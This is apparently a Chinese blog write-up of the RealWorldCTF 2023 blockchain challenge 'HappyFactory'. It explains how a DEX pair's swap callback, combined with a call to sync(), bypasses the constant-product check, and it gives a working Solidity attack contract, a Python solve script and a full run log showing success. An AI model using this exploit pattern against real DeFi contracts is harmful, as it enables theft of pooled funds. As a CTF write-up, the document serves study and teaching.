2023 RealWorldCTF 体验赛 Blockchain Writeup

HappyFactory

题目描述

解题过程

通过题目描述我们可以知道需要将1 tokenA兑换为1 tokenB并发送至deployer账户才能达成解出条件。

这道题的合约类型是DeFi板块中的DEX(去中心化交易所)，其中关键合约如HappyFactory（工厂合约）和Happy（题目币对创建合约）采用了预先部署的方式，便于多次重复利用来开启题目挑战。Greeter（起步合约）用于给选手发放1 tokenA以及判断解出状态是否达成。

目前链上主流的DEX大多采用恒定乘积自动做市商模型，一般包含Factory、Pair、Router三个关键合约，其中Factory主要负责Pair的创建与管理，Pair则是由两个代币组成的币对流动性池子，可供用户通过其中一种代币按照恒定乘积自动做市商算法以某一价格兑换出另一种代币，Router是路由合约，主要负责连通各个Pair以便充分发挥流动性的作用，使得两种代币间有尽可能多的兑换路径及优势价格。

本题的模型中只包含Factory和Pair，根据经验，漏洞点一般发生在Pair的swap过程中。大致检查一遍代码后并未发现明显异常，没有出现常见的K值校验错误，于是找来链上主流的DEX合约代码进行对比分析差异。

如上图所示，正常的swap流程是先获取储备记录值Reserves，再将代币发送给指定账户，最后获取币对实际余额Balance。而本题是先将代币发送给指定账户并允许外部调用，再获取币对实际余额Balance，最后才获取储备记录值Reserves。这样会导致在最后的K值校验计算时出现意料之外的错误，即不按照原先的价格（10:10的池子价格为1 由于滑点存在无法达成1 tokenA换出1 tokenB）进行兑换。若让Pair合约先将1 tokenB 发送给我们，在这之后通过攻击合约的回调函数去调用Pair.sync()强制更新储备值，这时储备记录值的状态就被修改为了10:9，然后我们再将1 tokenA发送给Pair合约，之后它获取到的币对实际余额值为11:9，然后下面这一段K值校验就被巧妙地成功绕过了，实现1 tokenA兑换为1 tokenB，最后将换出的1 tokenB发送到deployer账户即可。

需要注意的是，我们的回调函数应该命名为HappyCall而不是题目所给出的代码中的KonohaCall，这里比较坑，需要自己尝试及猜测，我是通过主动触发它的报错发现报错信息中为Happy: xxx而不是Konoha: xxx来得到的思路。

攻击合约代码Hacker.sol：

pragma solidity ^0.8.0;

import "./Happy.sol";

contract Hacker {
    address tokenA;
    address tokenB;
    Greeter greeter;
    IHappyFactory factory;
    IHappyPair pair;

    function hack(address _greeter, address _deployer) public {
        greeter = Greeter(address(_greeter));
        greeter.airdrop();
        tokenA = greeter.tokenA();
        tokenB = greeter.tokenB();
        (address token0, address token1) = tokenA < tokenB
            ? (tokenA, tokenB)
            : (tokenB, tokenA);
        factory = IHappyFactory(
            address(0xA2A21Fe2fD692b63Df06ECd5b0a783323B4eae36)
        );
        pair = IHappyPair(factory.getPair(token0, token1));
        if (token0 == tokenA) {
            pair.swap(0, 1 ether, address(this), new bytes(1));
        } else {
            pair.swap(1 ether, 0, address(this), new bytes(1));
        }
        IERC20(tokenB).transfer(_deployer, 1 ether);
    }

    function HappyCall(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        pair.sync();
        IERC20(tokenA).transfer(address(pair), 1 ether);
    }

    function isSolved() public view returns (bool) {
        return greeter.isSolved();
    }
}

链上交互脚本solve.py：

from Poseidon.Blockchain import *  # https://github.com/B1ue1nWh1te/Poseidon
import requests
import time

'''
[+] deployer account: 0xD1262D03B3F0f5aE0bDC8AB007C5D73E6036f848
[+] token: v4.local.iqGxZZzAduEwBUPqYyWhHXMZFbItLHsM6CDjlu_ihI-4d1eS0xp0nONWaHotJBLcZiJsDlp2WUJr9cNLjbByKhzzr7ZE-Ayf49_AWdrs5yFj8c_qzsdVfrsVzr2U9IQMs6UtHZ38qCzFiLLx3hkIAGqMKCIVGWwhzF9quU3tOi1Kuw
[+] contract address: 0xc615a812208f7F380019C5fA442f6dcEE7F41B32
[+] flag: rwctf{mVsdeUeKM6jU4myiTCsoQhpdjTKxJmRM}
'''

# 连接至链
chain = Chain("http://118.31.7.155:8545")

# 创建新账户
AccountAddress, AccountPrivateKey = BlockchainUtils.CreateNewAccount()

# 领取测试币
assert(requests.post("http://118.31.7.155:8080/api/claim", data={"address": AccountAddress}).status_code == 200)

# 等待一段时间以便测试币发放得到区块确认
time.sleep(10)

# 导入账户
account = Account(chain, AccountPrivateKey)

# 选择 Solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.8.0")

# 编译攻击合约
abi, bytecode = BlockchainUtils.Compile("Hacker.sol", "Hacker")

# 部署攻击合约
hacker = account.DeployContract(abi, bytecode)["Contract"]

# 开始攻击
_greeter = "0xc615a812208f7F380019C5fA442f6dcEE7F41B32"
_deployer = "0xD1262D03B3F0f5aE0bDC8AB007C5D73E6036f848"
hacker.CallFunction("hack", _greeter, _deployer)

# 查看解出状态
hacker.ReadOnlyCallFunction("isSolved")

运行日志：

2023-01-07 22:54:28.246 | SUCCESS  | Poseidon.Blockchain:__init__:37 - 
[Chain][Connect]Successfully connected to [http://118.31.7.155:8545]. [Delay] 104 ms
2023-01-07 22:54:28.443 | SUCCESS  | Poseidon.Blockchain:GetBasicInformation:55 - 
[Chain][GetBasicInformation]
[ChainId]1712
[BlockNumber]65067
[GasPrice]1 Gwei
[ClientVersion]Geth/v1.10.17-stable-25c9b49f/linux-amd64/go1.18
2023-01-07 22:54:28.460 | SUCCESS  | Poseidon.Blockchain:CreateNewAccount:705 - 
[BlockchainUtils][CreateNewAccount]
[Address]0x4109F583C2e0916a5972d567cC32A78fc20503aC
[PrivateKey]0x7c0d75837f8ee639a66475c2ffa833f24f65e81d512609dcab8d5ba76f576807
2023-01-07 22:54:38.557 | SUCCESS  | Poseidon.Blockchain:__init__:230 - 
[Account][Import]Successfully import account [0x4109F583C2e0916a5972d567cC32A78fc20503aC].
2023-01-07 22:54:38.607 | SUCCESS  | Poseidon.Blockchain:GetBalance:108 - 
[Chain][GetBalance][0x4109F583C2e0916a5972d567cC32A78fc20503aC]
[1000000000000000000 Wei]<=>[1 Ether]
信息: 用提供的模式无法找到文件。
2023-01-07 22:54:38.849 | SUCCESS  | Poseidon.Blockchain:SwitchSolidityVersion:657 - 
[BlockchainUtils][SwitchSolidityVersion]Current Version: 0.8.0
2023-01-07 22:54:39.447 | SUCCESS  | Poseidon.Blockchain:Compile:687 - 
[BlockchainUtils][Compile]
[FileCourse]Hacker.sol
[ContractName]Hacker
[ABI][{'inputs': [{'internalType': 'address', 'name': 'sender', 'type': 'address'}, {'internalType': 'uint256', 'name': 'amount0', 'type': 'uint256'}, {'internalType': 'uint256', 'name': 'amount1', 'type': 'uint256'}, {'internalType': 'bytes', 'name': 'data', 'type': 'bytes'}], 'name': 'HappyCall', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [{'internalType': 'address', 'name': '_greeter', 'type': 'address'}, {'internalType': 'address', 'name': '_deployer', 'type': 'address'}], 'name': 'hack', 'outputs': [], 'stateMutability': 'nonpayable', 'type': 'function'}, {'inputs': [], 'name': 'isSolved', 'outputs': [{'internalType': 'bool', 'name': '', 'type': 'bool'}], 'stateMutability': 'view', 'type': 'function'}]
[Bytecode]608060405234801561001057600080fd5b50610f18806100206000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806347ae43181461004657806364d98f6e14610062578063d78046e714610080575b600080fd5b610060600480360381019061005b9190610b72565b61009c565b005b61006a6108a2565b6040516100779190610d1e565b60405180910390f35b61009a60048036038101906100959190610bae565b610948565b005b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633884d6356040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561014457600080fd5b505af1158015610158573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b1580156101c257600080fd5b505afa1580156101d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101fa9190610b49565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102a057600080fd5b505afa1580156102b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d89190610b49565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16106103dd57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610424565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b9150915073a2a21fe2fd692b63df06ecd5b0a783323b4eae36600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390583836040518363ffffffff1660e01b81526004016104da929190610ccc565b60206040518083038186803b1580156104f257600080fd5b505afa158015610506573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052a9190610b49565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156106d457600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663022c0d9f6000670de0b6b3a764000030600167ffffffffffffffff81111561064b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561067d5781602001600182028036833780820191505090505b506040518563ffffffff1660e01b815260040161069d9493929190610d39565b600060405180830381600087803b1580156106b757600080fd5b505af11580156106cb573d6000803e3d6000fd5b505050506107e4565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663022c0d9f670de0b6b3a7640000600030600167ffffffffffffffff81111561075f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156107915781602001600182028036833780820191505090505b506040518563ffffffff1660e01b81526004016107b19493929190610d85565b600060405180830381600087803b1580156107cb57600080fd5b505af11580156107df573d6000803e3d6000fd5b505050505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84670de0b6b3a76400006040518363ffffffff1660e01b8152600401610849929190610cf5565b602060405180830381600087803b15801561086357600080fd5b505af1158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b9190610c2e565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364d98f6e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561090b57600080fd5b505afa15801561091f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109439190610c2e565b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156109b257600080fd5b505af11580156109c6573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006040518363ffffffff1660e01b8152600401610a51929190610cf5565b602060405180830381600087803b158015610a6b57600080fd5b505af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa39190610c2e565b505050505050565b600081359050610aba81610e9d565b92915050565b600081519050610acf81610e9d565b92915050565b600081519050610ae481610eb4565b92915050565b60008083601f840112610afc57600080fd5b8235905067ffffffffffffffff811115610b1557600080fd5b602083019150836001820283011115610b2d57600080fd5b9250929050565b600081359050610b4381610ecb565b92915050565b600060208284031215610b5b57600080fd5b6000610b6984828501610ac0565b91505092915050565b60008060408385031215610b8557600080fd5b6000610b9385828601610aab565b9250506020610ba485828601610aab565b9150509250929050565b600080600080600060808688031215610bc657600080fd5b6000610bd488828901610aab565b9550506020610be588828901610b34565b9450506040610bf688828901610b34565b935050606086013567ffffffffffffffff811115610c1357600080fd5b610c1f88828901610aea565b92509250509295509295909350565b600060208284031215610c4057600080fd5b6000610c4e84828501610ad5565b91505092915050565b610c6081610ded565b82525050565b610c6f81610dff565b82525050565b6000610c8082610dd1565b610c8a8185610ddc565b9350610c9a818560208601610e59565b610ca381610e8c565b840191505092915050565b610cb781610e35565b82525050565b610cc681610e47565b82525050565b6000604082019050610ce16000830185610c57565b610cee6020830184610c57565b9392505050565b6000604082019050610d0a6000830185610c57565b610d176020830184610cbd565b9392505050565b6000602082019050610d336000830184610c66565b92915050565b6000608082019050610d4e6000830187610cae565b610d5b6020830186610cbd565b610d686040830185610c57565b8181036060830152610d7a8184610c75565b905095945050505050565b6000608082019050610d9a6000830187610cbd565b610da76020830186610cae565b610db46040830185610c57565b8181036060830152610dc68184610c75565b905095945050505050565b600081519050919050565b600082825260208201905092915050565b6000610df882610e0b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610e4082610e2b565b9050919050565b6000610e5282610e2b565b9050919050565b60005b83811015610e77578082015181840152602081019050610e5c565b83811115610e86576000848401525b50505050565b6000601f19601f8301169050919050565b610ea681610ded565b8114610eb157600080fd5b50565b610ebd81610dff565b8114610ec857600080fd5b50565b610ed481610e2b565b8114610edf57600080fd5b5056fea2646970667358221220d2c43a8f74db54ede8223494291882f9de0436050f7c95b636f32c8afbadd1a764736f6c63430008000033
2023-01-07 22:54:39.763 | INFO     | Poseidon.Blockchain:DeployContract:418 - 
[Account][DeployContract]
[TransactionHash]0xcef95b48e3d6c03f734ebd4c3a4a2372b2b4360bae5dac4def46a5e9b2febc1f
[Txn]{
  "chainId": 1712,
  "from": "0x4109F583C2e0916a5972d567cC32A78fc20503aC",
  "nonce": 0,
  "value": 0,
  "gasPrice": 1000000000,
  "gas": 886169,
  "data": "0x608060405234801561001057600080fd5b50610f18806100206000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806347ae43181461004657806364d98f6e14610062578063d78046e714610080575b600080fd5b610060600480360381019061005b9190610b72565b61009c565b005b61006a6108a2565b6040516100779190610d1e565b60405180910390f35b61009a60048036038101906100959190610bae565b610948565b005b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633884d6356040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561014457600080fd5b505af1158015610158573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b1580156101c257600080fd5b505afa1580156101d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101fa9190610b49565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102a057600080fd5b505afa1580156102b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d89190610b49565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16106103dd57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610424565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b9150915073a2a21fe2fd692b63df06ecd5b0a783323b4eae36600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390583836040518363ffffffff1660e01b81526004016104da929190610ccc565b60206040518083038186803b1580156104f257600080fd5b505afa158015610506573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052a9190610b49565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156106d457600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663022c0d9f6000670de0b6b3a764000030600167ffffffffffffffff81111561064b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561067d5781602001600182028036833780820191505090505b506040518563ffffffff1660e01b815260040161069d9493929190610d39565b600060405180830381600087803b1580156106b757600080fd5b505af11580156106cb573d6000803e3d6000fd5b505050506107e4565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663022c0d9f670de0b6b3a7640000600030600167ffffffffffffffff81111561075f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156107915781602001600182028036833780820191505090505b506040518563ffffffff1660e01b81526004016107b19493929190610d85565b600060405180830381600087803b1580156107cb57600080fd5b505af11580156107df573d6000803e3d6000fd5b505050505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84670de0b6b3a76400006040518363ffffffff1660e01b8152600401610849929190610cf5565b602060405180830381600087803b15801561086357600080fd5b505af1158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b9190610c2e565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364d98f6e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561090b57600080fd5b505afa15801561091f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109439190610c2e565b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156109b257600080fd5b505af11580156109c6573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006040518363ffffffff1660e01b8152600401610a51929190610cf5565b602060405180830381600087803b158015610a6b57600080fd5b505af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa39190610c2e565b505050505050565b600081359050610aba81610e9d565b92915050565b600081519050610acf81610e9d565b92915050565b600081519050610ae481610eb4565b92915050565b60008083601f840112610afc57600080fd5b8235905067ffffffffffffffff811115610b1557600080fd5b602083019150836001820283011115610b2d57600080fd5b9250929050565b600081359050610b4381610ecb565b92915050565b600060208284031215610b5b57600080fd5b6000610b6984828501610ac0565b91505092915050565b60008060408385031215610b8557600080fd5b6000610b9385828601610aab565b9250506020610ba485828601610aab565b9150509250929050565b600080600080600060808688031215610bc657600080fd5b6000610bd488828901610aab565b9550506020610be588828901610b34565b9450506040610bf688828901610b34565b935050606086013567ffffffffffffffff811115610c1357600080fd5b610c1f88828901610aea565b92509250509295509295909350565b600060208284031215610c4057600080fd5b6000610c4e84828501610ad5565b91505092915050565b610c6081610ded565b82525050565b610c6f81610dff565b82525050565b6000610c8082610dd1565b610c8a8185610ddc565b9350610c9a818560208601610e59565b610ca381610e8c565b840191505092915050565b610cb781610e35565b82525050565b610cc681610e47565b82525050565b6000604082019050610ce16000830185610c57565b610cee6020830184610c57565b9392505050565b6000604082019050610d0a6000830185610c57565b610d176020830184610cbd565b9392505050565b6000602082019050610d336000830184610c66565b92915050565b6000608082019050610d4e6000830187610cae565b610d5b6020830186610cbd565b610d686040830185610c57565b8181036060830152610d7a8184610c75565b905095945050505050565b6000608082019050610d9a6000830187610cbd565b610da76020830186610cae565b610db46040830185610c57565b8181036060830152610dc68184610c75565b905095945050505050565b600081519050919050565b600082825260208201905092915050565b6000610df882610e0b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610e4082610e2b565b9050919050565b6000610e5282610e2b565b9050919050565b60005b83811015610e77578082015181840152602081019050610e5c565b83811115610e86576000848401525b50505050565b6000601f19601f8301169050919050565b610ea681610ded565b8114610eb157600080fd5b50565b610ebd81610dff565b8114610ec857600080fd5b50565b610ed481610e2b565b8114610edf57600080fd5b5056fea2646970667358221220d2c43a8f74db54ede8223494291882f9de0436050f7c95b636f32c8afbadd1a764736f6c63430008000033"
}
2023-01-07 22:54:44.209 | SUCCESS  | Poseidon.Blockchain:__init__:559 - 
[Contract][Instantiate]Successfully instantiated contract [0x1e104E8594299b97f568c3C271c374f6a45a5AeA].
2023-01-07 22:54:44.214 | SUCCESS  | Poseidon.Blockchain:DeployContract:428 -
[Account][DeployContract][Success]
[TransactionHash]0xcef95b48e3d6c03f734ebd4c3a4a2372b2b4360bae5dac4def46a5e9b2febc1f
[BlockNumber]65073
[ContractAddress]0x1e104E8594299b97f568c3C271c374f6a45a5AeA
[Value]0 [GasUsed]886169
[Logs][]
2023-01-07 22:54:44.367 | INFO     | Poseidon.Blockchain:CallFunction:577 - 
[Contract][CallFunction]
[ContractAddress]0x1e104E8594299b97f568c3C271c374f6a45a5AeA
[Function]hack('0xc615a812208f7F380019C5fA442f6dcEE7F41B32', '0xD1262D03B3F0f5aE0bDC8AB007C5D73E6036f848')
2023-01-07 22:54:44.525 | INFO     | Poseidon.Blockchain:SendTransaction:323 - 
[Account][SendTransaction][Traditional]
[TransactionHash]0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2
[Txn]{
  "chainId": 1712,
  "from": "0x4109F583C2e0916a5972d567cC32A78fc20503aC",
  "to": "0x1e104E8594299b97f568c3C271c374f6a45a5AeA",
  "nonce": 1,
  "value": 0,
  "gasPrice": "1 Gwei",
  "gas": 348108,
  "data": "0x47ae4318000000000000000000000000c615a812208f7f380019c5fa442f6dcee7f41b32000000000000000000000000d1262d03b3f0f5ae0bdc8ab007c5d73e6036f848"
}
2023-01-07 22:54:50.222 | SUCCESS  | Poseidon.Blockchain:SendTransaction:331 - 
[Account][SendTransaction][Traditional][Success]
[TransactionHash]0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2
[BlockNumber]65075
[From]0x4109F583C2e0916a5972d567cC32A78fc20503aC
[To]0x1e104E8594299b97f568c3C271c374f6a45a5AeA
[Value]0 [GasUsed]290437
[Data]0x47ae4318000000000000000000000000c615a812208f7f380019c5fa442f6dcee7f41b32000000000000000000000000d1262d03b3f0f5ae0bdc8ab007c5d73e6036f848
[Logs][AttributeDict({'address': '0x46CFcDa5819F8e98e17Ea901ab1D34843FF8De99', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000c615a812208f7f380019c5fa442f6dcee7f41b32'), HexBytes('0x0000000000000000000000001e104e8594299b97f568c3c271c374f6a45a5aea')], 'data': '0x0000000000000000000000000000000000000000000000000de0b6b3a7640000', 'blockNumber': 65075, 'transactionHash': HexBytes('0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2'), 'transactionIndex': 0, 'blockHash': HexBytes('0x3943bafcf7bb0c5762372b1939c2ee6ac846b9c9c66d3b63dad000493bca1442'), 'logIndex': 0, 'removed': False}), AttributeDict({'address': '0xC5CeFf49C87aF413aC90973e0a9c419e8788CADB', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x000000000000000000000000c3a4ed176600f1b5c6cdaa74c76d7ebf6275ba7c'), HexBytes('0x0000000000000000000000001e104e8594299b97f568c3c271c374f6a45a5aea')], 'data': '0x0000000000000000000000000000000000000000000000000de0b6b3a7640000', 'blockNumber': 65075, 'transactionHash': HexBytes('0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2'), 'transactionIndex': 0, 'blockHash': HexBytes('0x3943bafcf7bb0c5762372b1939c2ee6ac846b9c9c66d3b63dad000493bca1442'), 'logIndex': 1, 'removed': False}), AttributeDict({'address': '0xc3A4eD176600F1b5c6CDaa74c76d7ebf6275ba7c', 'topics': [HexBytes('0x1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1')], 'data': '0x0000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000007ce66c50e2840000', 'blockNumber': 65075, 'transactionHash': HexBytes('0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2'), 'transactionIndex': 0, 'blockHash': HexBytes('0x3943bafcf7bb0c5762372b1939c2ee6ac846b9c9c66d3b63dad000493bca1442'), 'logIndex': 2, 'removed': False}), AttributeDict({'address': '0x46CFcDa5819F8e98e17Ea901ab1D34843FF8De99', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000001e104e8594299b97f568c3c271c374f6a45a5aea'), HexBytes('0x000000000000000000000000c3a4ed176600f1b5c6cdaa74c76d7ebf6275ba7c')], 'data': '0x0000000000000000000000000000000000000000000000000de0b6b3a7640000', 'blockNumber': 65075, 'transactionHash': HexBytes('0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2'), 'transactionIndex': 0, 'blockHash': HexBytes('0x3943bafcf7bb0c5762372b1939c2ee6ac846b9c9c66d3b63dad000493bca1442'), 'logIndex': 3, 'removed': False}), AttributeDict({'address': '0xc3A4eD176600F1b5c6CDaa74c76d7ebf6275ba7c', 'topics': [HexBytes('0x1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1')], 'data': '0x00000000000000000000000000000000000000000000000098a7d9b8314c00000000000000000000000000000000000000000000000000007ce66c50e2840000', 'blockNumber': 65075, 'transactionHash': HexBytes('0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2'), 'transactionIndex': 0, 'blockHash': HexBytes('0x3943bafcf7bb0c5762372b1939c2ee6ac846b9c9c66d3b63dad000493bca1442'), 'logIndex': 4, 'removed': False}), AttributeDict({'address': '0xc3A4eD176600F1b5c6CDaa74c76d7ebf6275ba7c', 'topics': [HexBytes('0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822'), HexBytes('0x0000000000000000000000001e104e8594299b97f568c3c271c374f6a45a5aea'), HexBytes('0x0000000000000000000000001e104e8594299b97f568c3c271c374f6a45a5aea')], 'data': '0x0000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000', 'blockNumber': 65075, 'transactionHash': HexBytes('0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2'), 'transactionIndex': 0, 'blockHash': HexBytes('0x3943bafcf7bb0c5762372b1939c2ee6ac846b9c9c66d3b63dad000493bca1442'), 'logIndex': 5, 'removed': False}), AttributeDict({'address': '0xC5CeFf49C87aF413aC90973e0a9c419e8788CADB', 'topics': [HexBytes('0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef'), HexBytes('0x0000000000000000000000001e104e8594299b97f568c3c271c374f6a45a5aea'), HexBytes('0x000000000000000000000000d1262d03b3f0f5ae0bdc8ab007c5d73e6036f848')], 'data': '0x0000000000000000000000000000000000000000000000000de0b6b3a7640000', 'blockNumber': 65075, 'transactionHash': HexBytes('0xe2293d0c28bdde56d04f4d4981af39f35255d21c21d610a19b4635a0665028a2'), 'transactionIndex': 0, 'blockHash': HexBytes('0x3943bafcf7bb0c5762372b1939c2ee6ac846b9c9c66d3b63dad000493bca1442'), 'logIndex': 6, 'removed': False})]
2023-01-07 22:54:50.323 | SUCCESS  | Poseidon.Blockchain:ReadOnlyCallFunction:612 - 
[Contract][ReadOnlyCallFunction]
[ContractAddress]0x1e104E8594299b97f568c3C271c374f6a45a5AeA
[Function]isSolved()
[Result]True

分类： WriteUp
标签： CTF Blockchain

3 条留言

unpWn4bl3 · 2023-01-11 10:01

感谢师傅分享wp！想请教下师傅对于blockchain方向有什么学习路线或者建议吗？我最近在练习ethernaut上的题目，但是觉得自己没经过系统学习而且缺少正向开发经验，想参考一下师傅的学习路线

回复
1. B1ue1nWh1te · 2023-01-11 12:39 作者
  
